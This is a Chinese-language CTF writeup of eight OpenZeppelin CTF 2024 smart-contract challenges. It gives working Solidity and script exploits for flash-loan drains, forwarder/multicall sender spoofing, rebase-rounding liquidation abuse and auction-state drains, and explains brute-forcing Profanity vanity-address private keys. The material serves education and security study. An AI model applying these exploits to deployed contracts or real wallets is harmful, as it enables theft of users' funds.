OpenZeppelin CTF 2024 Writeup

ZAN 团队 (zan_team) 和蚂蚁天穹实验室联合参与了最近举办的 OpenZeppelin CTF 比赛,在有效的 299 个参赛队伍中排名第 11,分数并列第三。


本次 CTF 共有 9 个 Challenge,我们的参赛团队共完成了 8 个 Challenge。

OpenZeppelin CTF 2024 Writeup



Beef


本次竞赛中最难也是最有戏剧性的一道题目,直到距离比赛结束还有 6 个多小时,东八区时间已经来到凌晨 1 点左右,仍然没有队伍解出这道题,直到比赛的最后阶段,才陆续有六个队伍完成了对本题的突破。


挑战合约几乎是一个简单的 OpenZeppelin 库下 ERC20 合约的 Copy,挑战创建时,创建了两个未知地址,并给这两个地址发送了 100 个 Token,我们的目的是将 ERC20 合约的 Total Supply 降低为 0,这就意味着我们必须获得这两个未知地址的私钥,并将这两个地址上的 Token 进行 burn 操作。


然而,我们都知道,反推出地址的私钥几乎是一个不可能完成的任务,除非我们今天就发明了量子计算机,并立刻将它应用在解决这道 CTF 题目上(而不是尝试破解我们团队的某个巨鲸的私钥😂),(By the way,即使量子计算机今天就出现,按照 Vitalik 的说法,以太坊也有能力拯救用户的资产,https://ethresear.ch/t/how-to-hard-fork-to-save-most-users-funds-in-a-quantum-emergency/18901)。


至此,题目好像陷入了僵局,在很长一段时间内,都没有队伍解决这道题目,出题人选择降低题目难度,两次给出 Hint,并表示愿意个人给出 150 美元的赏金,激励第一个解决这道题目的队伍。

OpenZeppelin CTF 2024 Writeup


在了解了本题的真实解法后,我们大受震撼,解决办法竟然真的是暴力破解出使用题目中地址的私钥,唯一的不同点是:我们其实并不需要一台量子计算机。


要解出这道题,首先我们必须在 Sepolia 区块链浏览器上,找出这两个地址发送的交易,随后,使用交易数据解析出地址对应的公钥。

  • https://sepolia.etherscan.io/address/0x00000f940f38270786962F6eC582B4EdEa4Bb440

  • https://sepolia.etherscan.io/address/0xbeef6B156a9cd241B95A841CDF3B18995C2E35CC


出题人在官方 Writeup 中给出的一个解析脚本:

def get_public_key(tx_raw):    txn_bytes = hexbytes.HexBytes(tx_raw)    typed_txn = signing.TypedTransaction.from_bytes(txn_bytes)
msg_hash = typed_txn.hash() hash_bytes = hexbytes.HexBytes(msg_hash)
vrs = typed_txn.vrs() v, r, s = vrs v_standard = signing.to_standard_v(v) vrs = (v_standard, r, s)
signature_obj = eth_keys.KeyAPI().Signature(vrs=vrs) pubkey = signature_obj.recover_public_key_from_msg_hash(hash_bytes)
return pubkey


拿到公钥后,下一步就是暴力破解私钥了,我们看到这两个地址其中一个以相当多的 0 开头,另一个以 beef 开头,这意味着他们是通过某种方式生成的“区块链靓号”。我们在思考到这一步后就放弃了这个思路,因为暴力破解私钥,这个解法看起来太过于惊人。


非常戏剧性的是,这两个地址是使用 Profanity (https://github.com/johguse/profanity) 生成的——一个已经因为私钥安全性而被废弃的靓号生成器。开发者在制作这款工具时,仅使用了 32bit 随机数作为 seed 用来生成私钥,以目前的商用型芯片算力(Apple M2 为例),完全可能在 1 小时之内,暴力破解出这款工具生成的地址对应的私钥。


OpenZeppelin 在官方题解中同样给出了一个暴力破解的开源工具。https://github.com/rebryk/profanity-brute-force


在破解了地址对应的私钥后,后面的流程就简单了,只需要使用这两个地址,burn 掉代币,即可完成挑战。



Space Bank


此题初始化时给 SpaceBank 合约铸造了 1000 个 token,解题目标是将 SpaceBank 中状态变量 exploded 置为 true,分析题目发现,通过调用合约 SpaceBank 中的 explodeSpaceBank 函数,当满足以下几个条件,可以将 exploded 置为 true:

  1. 当前的区块高度等于 alarmTime + 2alarmTime 初始化时是 0,可修改。

  2. _createdAddress 地址上没有代码。

  3. SpaceBank 合约持有的token数量为 0。


为了构造这些条件,我们首先调用 SpaceBank 的 flashLoan 函数,从 SpaceBank 合约中借出指定数量 amount 的 token,值得注意的是,第一次闪电贷时不能指定 amount 为 1000,因为当 amount 大于等于 1000 时需要交手续费,然而在题目初始化条件中,解题的人是没有 token 的。因此我们首先指定 amount 为 500,闪电贷过程中会回调接收者(题解中的 Receiver 合约)的 executeFlashLoan 函数,在该函数中,我们将借出来的 500 个 token 通过 SpaceBank 的 deposit 函数存入 SpaceBank 合约中,如此操作不仅能在闪电贷结束时达到还清闪电贷的条件,还能在 SpaceBank 合约中有存款 500 个 token 的记录。当闪电贷结束时,即可调用 withdraw 函数,从 SpaceBank 合约中取出这 500 个 token。相当于在第一次闪电贷中,我们偷走了 SpaceBank 合约中的 500 个 token。


同样原理,我们可以进行第二次闪电贷,再偷走 SpaceBank 中剩余的 500 个 token。在这一次进行 deposit 时,传入的参数 data 是一个合约的 creationCode,该合约需要满足在创建之后合约的 codesize 是 0,因此我们在该合约的构造函数中直接 selfdestruct。具体合约为题解中的 Target 合约。


解题条件构造好了,可以直接调用合约 SpaceBank 中的 explodeSpaceBank 函数解题了。此处需要注意的是,根据题目要求,这一次调用需要在前两次闪电贷的后两个区块中调用。因此我们需要在脚本中多次调用 explodeSpaceBank 函数来推进区块。

解题合约:

contract Target {    constructor() payable {        selfdestruct(payable(msg.sender));    }
receive() external payable {}}
// flashloan receivercontract Receiver {    uint256 count = 0;    SpaceBank public spaceBank;
constructor() payable {
}
// flashloan callback function executeFlashLoan(uint256 amount) external { spaceBank = SpaceBank(msg.sender); IERC20 spaceToken = spaceBank.token();
if (count == 0) { bytes memory data = abi.encode(block.number % 47); spaceToken.approve(address(spaceBank), amount); spaceBank.deposit(amount, data); count++;
} else if (count == 1) { bytes memory data = type(Target).creationCode;
bytes32 hash = keccak256( abi.encodePacked(bytes1(0xff), address(spaceBank), block.number, keccak256(data)) );
address target = address(uint160(uint(hash))); (bool success, bytes memory res) = target.call{value: 1 ether}(""); require(success, "send eth failed");
spaceToken.approve(address(spaceBank), amount); spaceBank.deposit(amount, data); count++; }
}
function withdraw(uint256 amount) external { spaceBank.withdraw(500); }}
contract Attack {    Challenge public challenge;    SpaceBank public spaceBank;    IERC20 public spaceToken;
constructor() payable {
}
// flashloan twice function attack1(address challengeAddr) external {
challenge = Challenge(challengeAddr);
spaceBank = challenge.SPACEBANK();

spaceToken = spaceBank.token();
uint256 myToken = spaceToken.balanceOf(address(this));

Receiver receiver = new Receiver{value: 1 ether}();
// call flashLoan first time spaceBank.flashLoan(500, address(receiver)); receiver.withdraw(500);
// call flashloan second time spaceBank.flashLoan(500, address(receiver)); receiver.withdraw(500); }
// call explodeSpaceBank function attack2() external { spaceBank.explodeSpaceBank(); require(spaceBank.exploded(), "attack failed"); }}

解题脚本:

before(async function () {
accounts = await ethers.getSigners(); attacker = accounts[0];
// 部署Attack合约 const Attack = await ethers.getContractFactory("contracts/attack.sol:Attack",attacker); attack = await Attack.deploy({value: ethers.utils.parseEther("1")});
// 等待合约部署完成 await attack.deployed(); console.log(`Attack contract deployed to: ${attack.address}`);});
it("solves the challenge", async function () {
// 调用attack1 console.log("attack1 function called"); let currentBlockNumber = await ethers.provider.getBlockNumber(); console.log("attack1 block number:", currentBlockNumber); let result = await attack.attack1(challengeAddress, {gasLimit: 1e7}); await ethers.provider.waitForTransaction(result.hash); result = await ethers.provider.getTransactionReceipt(result.hash); console.log("transaction hash :",result.hash," status:",result.status); console.log("attack1 function called");
// 循环调用,推进区块 for(let i = 0; i < 2; i++){ currentBlockNumber = await ethers.provider.getBlockNumber(); console.log("attack2 block number:", currentBlockNumber); result = await attack.attack2({gasLimit: 1e7}); await ethers.provider.waitForTransaction(result.hash); result = await ethers.provider.getTransactionReceipt(result.hash); console.log("transaction hash :",result.hash," status:",result.status); console.log("attack2 function called"); }});



Wombo Combo


此题是元交易 + Multicall 真实漏洞的缩略版本,详见!!紧急自查!!OpenZeppelin 任意地址欺骗攻击分析


此题的目标是获得 staking 合约 amazingNumber (合约一开始就存储了超过这个数值的量)数量的奖励代币,并发送到 0x123 这个地址上,这个合约有一个 notifyRewardAmount 函数可供 owner 调用,用来通知合约在此后一段时间(20s)内线性释放 amount 的奖励代币给所有质押者:

function notifyRewardAmount(uint256 _amount) external onlyOwner {    updateReward(address(0));    if (block.timestamp >= finishAt) {        rewardRate = _amount / duration;    } else {        uint256 remainingRewards = (finishAt - block.timestamp) * rewardRate;        rewardRate = (_amount + remainingRewards) / duration;    }
require(rewardRate > 0, "reward rate = 0"); require(rewardRate * duration <= rewardsToken.balanceOf(address(this)), "reward amount > balance");
finishAt = block.timestamp + duration; updatedAt = block.timestamp;}


因此我们首先质押一笔代币,然后通过伪装成 owner 调用这个函数来给自己发送 amazingNumber 的奖励,来完成挑战。


可以注意到当 msg.sender 是 forwarder 合约时,msg.sender 会重定向为 calldata 的后 20 字节对应的地址:

function _msgSender() internal view virtual override returns (address sender) {    if (isTrustedForwarder(msg.sender)) {        // The assembly code is more direct than the Solidity version using `abi.decode`.        assembly {            sender := shr(96, calldataload(sub(calldatasize(), 20)))        }    } else {        return super._msgSender();    }}


而 forwarder 则是一个正常执行合约,在用户拥有 from 的签名情况下,可以代替 from 执行交易,并将真正的执行者 from 附加到 calldata 的后 20 位执行交易:

(bool success, bytes memory returndata) =    req.to.call{gas: req.gas, value: req.value}(abi.encodePacked(req.data, req.from));


看起来没什么问题,然而 staking 继承自 multicall 合约:

abstract contract Multicall {    /**     * @dev Receives and executes a batch of function calls on this contract.     */    function multicall(bytes[] calldata data) external returns (bytes[] memory results) {        results = new bytes[](data.length);        for (uint256 i = 0; i < data.length; i++) {            results[i] = Address.functionDelegateCall(address(this), data[i]);        }        return results;    }}


在 multicall 时,它会重新发起一个调用,并将 forwarder 调用的内容(原本为 calldata + from)修改为 calldata,同时 msg.sender 仍旧保持为 forwarder,因此通过 mutilcall,我们可以精心构造一个 delegatecall 的 calldata,前面是我们要调用的函数 notifyRewardAmount,后面 20 位是我们要伪装的 owner,这样我们就能伪装成 owner 发送 notifyRewardAmount 来通知发送奖励代币了:

function attack() external{  stakingToken.approve(address(staking),type(uint256).max);
staking.stake(stakingToken.balanceOf(address(this)));
bytes[] memory delegatecallData = new bytes[](1); delegatecallData[0] = abi.encodeWithSelector(staking.notifyRewardAmount.selector,rewardToken.totalSupply(),uint256(uint160(staking.owner())));
bytes memory callData = abi.encodeWithSelector(staking.multicall.selector,delegatecallData);
Forwarder.ForwardRequest memory requst = Forwarder.ForwardRequest({from:address(this),to:address(staking),value:0,gas:gasleft() / 2,nonce:0,deadline:0,data:callData});
bytes memory signature = new bytes(0);
forwarder.execute{gas:gasleft()}(requst,signature);}


然后等奖励时间结束就可以获得 reward 发送给指定地址来完成挑战:

function getReward() external{  staking.getReward();
rewardToken.transfer(target,amazingNumber);
require(challenge.isSolved());}



Dutch


这是一道 vyper 题,挑战目标是将拍卖合约中的艺术品买下来,这个艺术品最高需要 1 个 WETH 购买:

 function deploy(address system, address) internal override returns (address challenge) {    vm.startBroadcast(system);
IWETH weth = IWETH(deploy("src/", "WETH", ""));
bytes memory args = abi.encode(system); IERC721Extended art = IERC721Extended(deploy("src/", "Art", args));
args = abi.encode(1 ether, 1 ether / uint256(7 days), art, 0, address(weth)); IAuction auction = IAuction(deploy("src/", "Auction", args)); ... }


而一开始用户拥有 1000 个 ETH,只需要将 ETH 兑成 WETH,就可以买下艺术品,完成挑战:

weth.deposit{value:100 ether}();
weth.approve(address(auction),type(uint256).max);
auction.buy();
require(challenge.isSolved());



XYZ


此题是 raft 攻击事件的简易版本,详见:https://twitter.com/BlockSecTeam/status/1723229393529835972

此题的目标是获得 250000000 枚 xyz 代币并发送给指定地址。一开始我们拥有 6000 枚 seth 代币,可以通过 2207 的价格可以借出约 10000000 枚 xyz,然而这个数量是远远不够的。


可以注意到一开始我们拥有一个可以被清算的仓位,这是出题人算好的,他将这个仓位的负债从 3395 增加到 3520,正好低于 manager 要求的健康度 1.3:

manager.manage(sETH, 2 ether, true, 3395 ether, true);
(, ERC20Signal debtToken,,,) = manager.collateralData(IERC20(address(sETH)));manager.updateSignal(debtToken, 3520 ether);


而通过清算可以做什么呢?注意到他的存款记账代币 “xyz seth_collateral” 是个 rebase 代币,并且他会在清算时重新计算 share 和真正存款数量之间的比例 signal:

function _updateSignals(    IERC20 token,    ERC20Signal protocolCollateralToken,    ERC20Signal protocolDebtToken,    uint256 totalDebtForCollateral) internal {    protocolDebtToken.setSignal(totalDebtForCollateral);    protocolCollateralToken.setSignal(token.balanceOf(address(this)));}
function setSignal(uint256 backingAmount) external onlyManager {    uint256 supply = ERC20.totalSupply();    uint256 newSignal = (backingAmount == 0 && supply == 0) ? ProtocolMath.ONE : backingAmount.divUp(supply);    signal = newSignal;}


因此是可以通过往 manager 里面转账,增加 balance,之后通过清算来扩大 signal 的。

同时注意到他的存款记账代币是向上取整的:

function mint(address to, uint256 amount) external onlyManager {    _mint(to, amount.divUp(signal));}


因此,1 wei 就可以得到 1 share 存款记账代币,并且可以借出相应数量的xyz。


那么思路就很清晰了,我们可以先将 2.1 个 seth 抵押借出可以用来清算这个仓位所需的 xyz,然后将剩下代币转入 manager 合约,接着清算扩大他的 signal。之后我们拿着清算获得的 seth,反复用 1 wei 去获得 1 share 存款记账代币,然后借出相应的 xyz,直到我们达到目标所需的 balance,完成挑战:

Attacker attacker = new Attacker(address(challenge));
Token seth = challenge.seth();Token xyz = challenge.xyz();seth.transfer(address(attacker),6000 ether);
attacker.attack();
uint256 amount = xyz.balanceOf(address(attacker));
while(amount < targetAmount){ attacker.attack2(); amount = xyz.balanceOf(address(attacker));}
attacker.attack3();
require(challenge.isSolved());
function attack() external{
updateSignal();
require(seth.balanceOf(address(this)) == 6000 ether);
address owner = manager.owner();
uint256 onwerDebt = debt.balanceOf(owner);
uint256 minCollateralAmount = getMinCollateralAmount(onwerDebt);
manager.manage(IERC20(seth),minCollateralAmount,true,onwerDebt,true);
seth.transfer(address(manager),seth.balanceOf(address(this)));
manager.liquidate(owner);
updateSignal();}
function attack2() external{ uint256 borrowAmount = getMaxBorrowAmount(1); for(uint256 i=0;i<50;i++){ manager.manage(IERC20(seth),1,true,borrowAmount,true); }}
function attack3() external{ require(xyz.balanceOf(address(this)) > targetAmount); xyz.transfer(target,targetAmount);}



Greedy Sad Man


本次比赛唯一一道 Cairo 题目,合约逻辑十分简单,合约中有一个位于 Storage 的数组 donations 和一个 Bool 值 sadness, sadness 在合约初始化时被设置为 True。解题目标是将 sadness 值设置为 False,但合约本身并没有提供修改 sadness 的接口。因此我们可以大胆假设,通过对数组 donations 的操作,我们有机会影响 sadness 对应的存储位置的值。


仔细观察合约源码,可以看到一处非常奇怪的地方,在 donations 数组的 read_at 函数中,居然出现了一个 write 操作,将 index(数组下标)转化为 storage 地址后,将该位置对应的值修改为了默认值(0)。很明显这就是我们需要的漏洞代码,我们后面要做的就是将 sadness 对应的 storage 地址,转化为 felt252 整数,并将其作为数组下标,传入这个函数,即可完成对 sandess 的修改。

  fn read_at(self: @StorageArray<T>, index: felt252) -> T {      let storage_address_felt: felt252 = storage_address_from_base(*self.base).into();      let element_address = poseidon_hash_span(          array![storage_address_felt + index.into()].span()      );
TStore::write(*self.address_domain, base_from_felt(index), Default::default()) .unwrap_syscall(); TStore::read(*self.address_domain, base_from_felt(element_address)).unwrap_syscall() }


比赛中我们在合约中插入了如下的函数来计算 sadness 对应的存储位置和对应的整数(index)。计算出的这个数即为本题的 flag。

fn get_sadness_address(self: @ContractState) -> felt252 {    let address = storage_address_from_base(self.sadness.address()).into();    address}



Alien Spaceship


Solidity 字节码逆向题,主要难点在于从反编译代码中搞懂合约逻辑,好在这次使用的合约函数签名有不少可以查到,略微降低了理解难度。


题目的解题条件是将合约中的 aborted 变量设置为 true,要做到这一点,设置该变量的代码(反编译)后如下。

function 0x7235a6d5() public payable {   require(0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d == _roles[msg.sender].field0, Error('Invalid role'));  v0 = 0x1465(stor_5, stor_4, _position);  require(v0 < 10 ** 24, Error('Must be within 1000km to abort mission'));  require(stor_6 < 10 ** 21, Error('Must be weigh less than 1000kg to abort mission'));  require(stor_2 > 0, Error('Must visit Area 51 and scare the humans before aborting mission'));  require(0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 != EXTCODEHASH(msg.sender));  stor_1_1_1 = 1;  emit 0x36ecdc9a6fcd7296bb9e8ba1d0346958e5dc548c84186d854d2c4e65691ceed6();}


可以看到,要成功调用这个函数,必须满足三个条件:

  1. 调用者必须是 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d(Captain)角色。

  2. 通过合约存储 stor_5,stor_4(推测这两个变量代表的意义为坐标)计算出的值(distance) < 10 ** 24。

  3. 合约存储 stor_6 < 10 ** 21,根据错误提示,推测这里存储的是飞船重量。

  4. 合约存储 stor_2 的值必须 > 1,表示飞船已经访问过 51 区。


接下来我们就根据分析出的这 4 个条件逐个击破。仔细阅读合约字节码,我们发现调用者是无法直接成为 Captain 角色的,要想成为 Captain 角色,调用者首先必须成为 Physicist 角色,然而 Physcist 角色也无法直接申请,必须满足合约本身的角色也是 Engineer 这个条件。

function 0xa15184c7(uint256 varg0) public payable {   require(msg.data.length - 4 >= 32);  v0 = v1 = varg0 == 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;  if (varg0 != 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564) {    v0 = v2 = varg0 == 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;  }  if (!v0) {    v0 = v3 = varg0 == 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d;  }  if (!v0) {    v0 = v4 = varg0 == 0x720a004d39b816addddcfa184666132ae9e307670a4e534d64e0af23c84ee0e1;  }  require(v0, Error('Invalid role'));  require(!_roles[msg.sender].field0, Error('Use the applyForPromotion function to get promoted'));  if (varg0 != 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c) {    v5 = v6 = varg0 == 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;    if (v6) {      v5 = v7 = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c == _roles[this].field0;    }    if (!v5) {      require(varg0 == 0x720a004d39b816addddcfa184666132ae9e307670a4e534d64e0af23c84ee0e1, Error('Role is not hiring'));      v8 = new uint256[](115);      MEM[v8.data] = 'There is no blockchain security ';      MEM[MEM[64] + 100] = 'researcher position on the space';      MEM[MEM[64] + 132] = "ship but we've heard that OpenZe";      MEM[MEM[64] + 164] = 'ppelin is hiring :)';      revert(Error(v8));    } else {      _roles[msg.sender].field0 = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;      _roles[msg.sender].field1 = block.timestamp;      emit 0xd7b59a7335373cd670f56aaac22cb24e2d3b6efaa5f7eef93ae4d79b2d4f3ec2(msg.sender, 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564);    }  } else {    _roles[msg.sender].field0 = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;    _roles[msg.sender].field1 = block.timestamp;    emit 0xd7b59a7335373cd670f56aaac22cb24e2d3b6efaa5f7eef93ae4d79b2d4f3ec2(msg.sender, 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c);  }}


可以看到这个条件本身非常可疑,正常来说,合约本身是无法发起主动调用的,除非它具有调用自己的能力。从这个疑点出发,我们找到了反编译合约中的这段代码:

function 0xea93bc96(bytes varg0) public payable {   require(msg.data.length - 4 >= 32);  require(varg0 <= uint64.max);  require(4 + varg0 + 31 < msg.data.length);  require(varg0.length <= uint64.max);  require(4 + varg0 + varg0.length + 32 <= msg.data.length);  require(0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c == _roles[msg.sender].field0, Error('Invalid role'));  CALLDATACOPY(v0.data, varg0.data, varg0.length);  MEM[varg0.length + v0.data] = 0;  v1, /* uint256 */ v2 = address(this).call(v0.data).gas(msg.gas);  if (RETURNDATASIZE() != 0) {    v3 = new bytes[](RETURNDATASIZE());    RETURNDATACOPY(v3.data, 0, RETURNDATASIZE());  }  require(v1, Error('Experiment failed!'));}


可以看到,我们可以随意给该合约传递 calldata,让它自己调用自己的 0xa15184c7 函数,从而使得我们能够申请成为 Physicist,并为最终成为 Captain 创造条件。


至此攻击链路已经清晰了,我们要做的事情可以分为几个阶段进行:

  1. 我们使用一个 EOA 申请成为 Engineer,并调用 0xea93bc96,让合约自己调用自己,使其成为 Engineer。

  2. 我们部署一个攻击合约,在攻击合约构造函数中,申请成为 Physicist(绕过申请成为科学家必须是EOA的检查)。

  3. 我们使用 EOA,调用降低飞船负载的函数,使飞船重量降低下来,随后使用攻击合约(角色为 Physicist)开启虫洞功能(为 Captain 访问 51 区做准备),这里利用到了合约在构造函数执行时,codesize 仍然为 0,从而绕过函数中的 EOA 检查。

  4. 我们使用攻击合约申请成为 Captain,并调用 visitArea51 函数,将 stor_2 设置为 1,从而满足终止任务的条件 4,注意这里需要用到一次整数溢出,使得调用者地址和传入参数相加被溢出为 51。

  5. 我们使用攻击合约调用 jumpThroughWormhole 修改 stor_4 和 stor_5,将飞船的 distance 降低到 10 ** 24 以下,再次使用 EOA 降低飞船重量,满足条件 2 和条件 3。

  6. 最终调用 0x7235a6d5 终止任务。


可以看到攻击链路十分长,最终我们完整的攻击脚本如下:

// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;
import "src/Challenge.sol";import {Challenge} from "src/Challenge.sol";import "forge-std/Script.sol";
contract Solve is Script { bytes32 constant private captain = 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d; bytes32 constant private engineer = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c; bytes32 constant private physicist = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;
function run() external { vm.startBroadcast(0xd6e9eb58905fcd3fb7551fb347a3cb0c164b9b421003892f53e556cc3d43e2b9);
address challenge = 0xe4Cff8Ca8fbe8EE2A8C9127d3d4119f908eF3609; address alienspaceship = address(Challenge(challenge).ALIENSPACESHIP());
AlienSpaceShip(alienspaceship).applyForJob(engineer); bytes memory data = abi.encodeWithSelector(AlienSpaceShip.applyForJob.selector, engineer); AlienSpaceShip(alienspaceship).runExperiment(data);
// 丢弃负重 AlienSpaceShip(alienspaceship).dumpPayload(4400000000000000000000); AlienSpaceShip(alienspaceship).quitJob(); AlienSpaceShip(alienspaceship).applyForJob(physicist); AlienSpaceShip(alienspaceship).enableWormholes();
// 合约申请成为科学家 构造函数 Pwn pwn = new Pwn(alienspaceship); console2.log("pwn address: ", address(pwn));
// 合约申请成为船长 调整位置 进入虫洞和51区 Pwn pwn = Pwn(address(0xbdCFD67E18713e6BFc1798e816573B8022051286)); pwn.promote_and_move();
// EOA再次清除负重 AlienSpaceShip(alienspaceship).quitJob(); AlienSpaceShip(alienspaceship).applyForJob(engineer); uint256 mass = AlienSpaceShip(alienspaceship).payloadMass(); AlienSpaceShip(alienspaceship).dumpPayload(mass - 500000000000000000001);
// 合约终止任务 pwn.abort(); }}
contract Pwn { bytes32 constant private captain = 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d; bytes32 constant private engineer = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c; bytes32 constant private physicist = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564; // physicist -> captain address private alienspaceship;
constructor(address _alienspaceship) { alienspaceship = _alienspaceship; AlienSpaceShip(alienspaceship).applyForJob(physicist); AlienSpaceShip(alienspaceship).enableWormholes(); }
// Transaction1 调整位置和负重 function promote_and_move() external { // 成为船长 调整位置 AlienSpaceShip(alienspaceship).applyForPromotion(captain);
AlienSpaceShip(alienspaceship).visitArea51(calculate(address(this))); AlienSpaceShip(alienspaceship).jumpThroughWormhole(0, 0, 10 ** 23 + 1); }
function abort() external { // 重新成为船长 结束任务 AlienSpaceShip(alienspaceship).abortMission(); }
function calculate(address at) public pure returns (address) { uint256 mod = uint256(type(uint160).max) + 52; uint160 last = uint160(uint256(mod - uint256(uint160(at)))); return address(last); }}
interface AlienSpaceShip { function applyForJob(bytes32) external; //0xa15184c7
function applyForPromotion(bytes32) external; // 0x8c0ff94b
function abortMission() external;
function quitJob() external;
function visitArea51(address) external; // 0x6f445300
function dumpPayload(uint256) external; // 0x4e85c36e
function runExperiment(bytes calldata) external; // 0xea93bc96
function enableWormholes() external; // 0xe42c7669
function position() external returns (uint256, uint256, uint256);
function distance() external returns (uint256);
function jumpThroughWormhole(int256, int256, int256) external; // 0x183aa328
function payloadMass() external returns (uint256); // 0xf705b2e2}



Dutch 2


此题初始化时给 AuctionManager 合约 mint 了 10000 * 1e6  个 quoteToken 和 100 * 1e18 个 baseToken,给解题的人分别 mint 了 100 ether 的 quoteToken 和 baseToken。题目目标是将 AuctionManager 合约的所有 quoteToken 取出来。

此题是一个关于拍卖竞标的项目,任何人都可以创建拍卖,其他人参与竞拍。不同时间阶段,拍卖处于不同的状态。当状态为 Reveal 时,可以通过调用 finalize 函数对拍卖进行一个确定,将状态转为 Final。Final 状态要求 auction.data.quoteLowest != type(uint128).max,然而在 finalize 时,并未对用户传入的参数 quote 做任何限制,该参数最终赋值给了 auction.data.quoteLowest。那么调用者可以将入参设置为 type(uint128).max,最终将 auction.data.quoteLowest 修改成了 type(uint128).max。这就导致 finalize 后拍卖的状态并未变成 Final,反而为取消拍卖创造了条件。

if (block.timestamp < auction.time.start) {    if (state != States.Created) revert();} else if (block.timestamp < auction.time.end) {    if (state != States.Accepting) revert();} else if (auction.data.quoteLowest != type(uint128).max) {    if (state != States.Final) revert();} else if (block.timestamp <= auction.time.end + 24 hours) {    if (state != States.Reveal) revert();} else if (block.timestamp > auction.time.end + 24 hours) {    if (state != States.Void) revert();} else {    revert();}


清楚了漏洞点以后,我们来看看具体如何利用该漏洞盗取 AuctionManager 合约的 quoteToken。


在调用 AuctionManager 合约的 finalize 函数时,如前面所述,我们将入参 quote 设置为 type(uint128).max,从而将 auction.data.quoteLowest 修改成了 type(uint128).max


finalize 函数最后,会将未完成拍卖的 baseToken 还给拍卖发起者,数量为 data.totalBase - data.baseFilled,并将拍卖得到的 quoteToken 转给拍卖发起者。此时拍卖发起者既拿回了未拍卖出去的 baseToken,也获得了拍卖所得的 quoteToken,其跟合约是两清的状态。并且此时 auction.parameters.totalBase 被设置成了 data.baseFilled(被竞拍成功的 baseToken 的数量)。


然而由于此时 auction.data.quoteLowest == type(uint128).max,达到了取消拍卖的条件,所以拍卖发起者可以调用 auctionCancel 函数取消拍卖,于是合约将 auction.parameters.totalBase这么多的 baseToken 还给了拍卖发起者。用一句话说就是拍卖发起者最终没有付出任何 baseToken,却将竞拍者的 quoteToken 收入囊中了。不仅如此,取消拍卖时还将 auction.time.end 设置成了 type(uint32).max,让拍卖的状态变成了 Accepting,在这个状态,竞拍者可以调用 bidCancel 函数,取回自己竞拍付出的 quoteToken。此时的 quoteToken,就是真真切切是原本属于 AuctionManager 合约的 quoteToken 啦。到这儿,就成功薅空了 AuctionManager 合约的 quoteToken。

if (data.totalBase != data.baseFilled) {    auction.parameters.totalBase = data.baseFilled;    ERC20(auction.parameters.tokenBase).safeTransfer(auction.data.seller, data.totalBase - data.baseFilled);}
ERC20(auction.parameters.tokenQuote).safeTransfer(auction.data.seller, quote.mulDivDown(data.baseFilled, base));
function auctionCancel(uint256 id) external {    Auction storage auction = auctions[id];
if (auction.data.seller != msg.sender) revert(); if (type(uint128).max != auction.data.quoteLowest) revert();
auction.data.seller = address(0); auction.time.end = type(uint32).max;
ERC20(auction.parameters.tokenBase).safeTransfer(msg.sender, auction.parameters.totalBase);}
function bidCancel(uint256 id, uint256 index) external {    Auction storage auction = auctions[id];    BidEncrypted storage bid = auction.bids[index];
if (msg.sender != bid.sender) revert(); if (block.timestamp >= auction.time.end) { if (block.timestamp <= auction.time.end + 24 hours || auction.data.quoteLowest != type(uint128).max) { revert(); } }
bid.commit = 0; bid.sender = address(0);
ERC20(auction.parameters.tokenQuote).safeTransfer(msg.sender, bid.amountQuote);}

解题时,我们需要自己模拟拍卖的流程,首先拍卖发起者(题解中的 Attack 合约)发起拍卖,竞拍者(题解中的 Bidder 合约)参与拍卖,在这个过程中,我们将拍卖发起者想要拍卖的 baseToken 数量、竞拍者愿意付出的quoteToken数量、竞拍者想要竞拍的 baseToken 数量均设置为题目初始化时 AuctionManager 合约持有的 quoteToken 数量,以此一次性薅空 AuctionManager 合约的 quoteToken 数量。为了简化解题,在发起拍卖时,我们将 baseToken 和 quoteToken 都设置成了题目中的 quoteToken。完整的解题代码如下:

contract Bidder {    using FixedPointMathLib for uint128;    using SafeTransferLib for ERC20;
address public challengeAddr = xxx; Challenge public challenge = Challenge(challengeAddr); AuctionManager public auctionManager = challenge.auction(); ERC20 public baseToken = challenge.quoteToken(); ERC20 public quoteToken = challenge.quoteToken();
constructor() { baseToken.approve(address(auctionManager), type(uint128).max); }
// add bid function bid() external returns(bytes32) { Math.Point memory point1 = Math.publicKey(0xabcd); bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
// proof bytes32[] memory proofs = new bytes32[](0);
